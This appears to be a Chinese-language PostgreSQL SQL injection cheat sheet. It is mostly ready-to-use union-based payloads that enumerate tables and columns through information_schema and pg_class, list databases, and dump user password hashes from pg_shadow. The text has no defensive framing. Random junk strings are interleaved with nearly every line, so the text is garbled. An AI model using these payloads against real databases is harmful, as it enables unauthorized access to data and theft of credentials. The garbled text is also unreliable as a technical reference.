结合了MSSQL MySQL Oracle的一些特点) K# [! T" F" _0 F
支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/
4 ~# K/ R& v8 e. ]# y+ I" b2 x1 h: O6 V连接符: %20 , + , /**/ 内置函数:+ H/ q W" R5 N5 X: U
current_database() //当前数据库名
" W" ]; T L* u7 O7 @8 t5 p. g3 A1 |session_user //会话用户4 `( ~- z( b5 M8 K1 `) v- o
current_user //当前数据库用户
2 f( `) b# Q/ Muser //当前用户6 D. L5 j1 [& S' s, Q' {* g
version() //数据库版本 Union注射:
; }4 G- ?/ h' w. b6 yorder by n–
& m6 C% |& p' }# ?7 S1 u2 x& I9 K* Fand 1=2 union select null,null,null–
0 B0 L" }% x$ i- oand 1=2 union select ‘beach’,null,null–# A& B. \! i1 Z( ^% q4 e
and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):7 x* b, K" o8 }$ Z
group_concat(table_name)
8 N1 o4 Z3 L) P- x9 I/ P9 s tand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–, @5 i. w% M4 i, v7 }
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–) |% h* i- B6 U/ _2 ?3 t
(老版本)
; o/ ^. q2 v: a' v- a# x9 {+ D: Cpg_class.oid对应pg_attribute.attrelid; u$ X5 B. U" U# l) Y+ W
pg_class.relname表名1 Z, \6 u3 g8 z! e2 `
pg_attribute.attname字段名 select relname from pg_class获取表名) j7 {5 E& @6 d+ Z' l/ b0 }
select oid from pg_class where 条件 获取参数
. D1 ]: B) ?% |select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:; e' r$ {3 x% {" r. o W
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表8 P+ o8 L$ P& O3 b
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–% T. j* b; @6 R3 t& _' H$ H
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
% R$ y8 X v- ?& i' W. j======================================================================, c; R) d7 X( G
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库& q9 ] c6 C( h' G* }7 l5 T
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |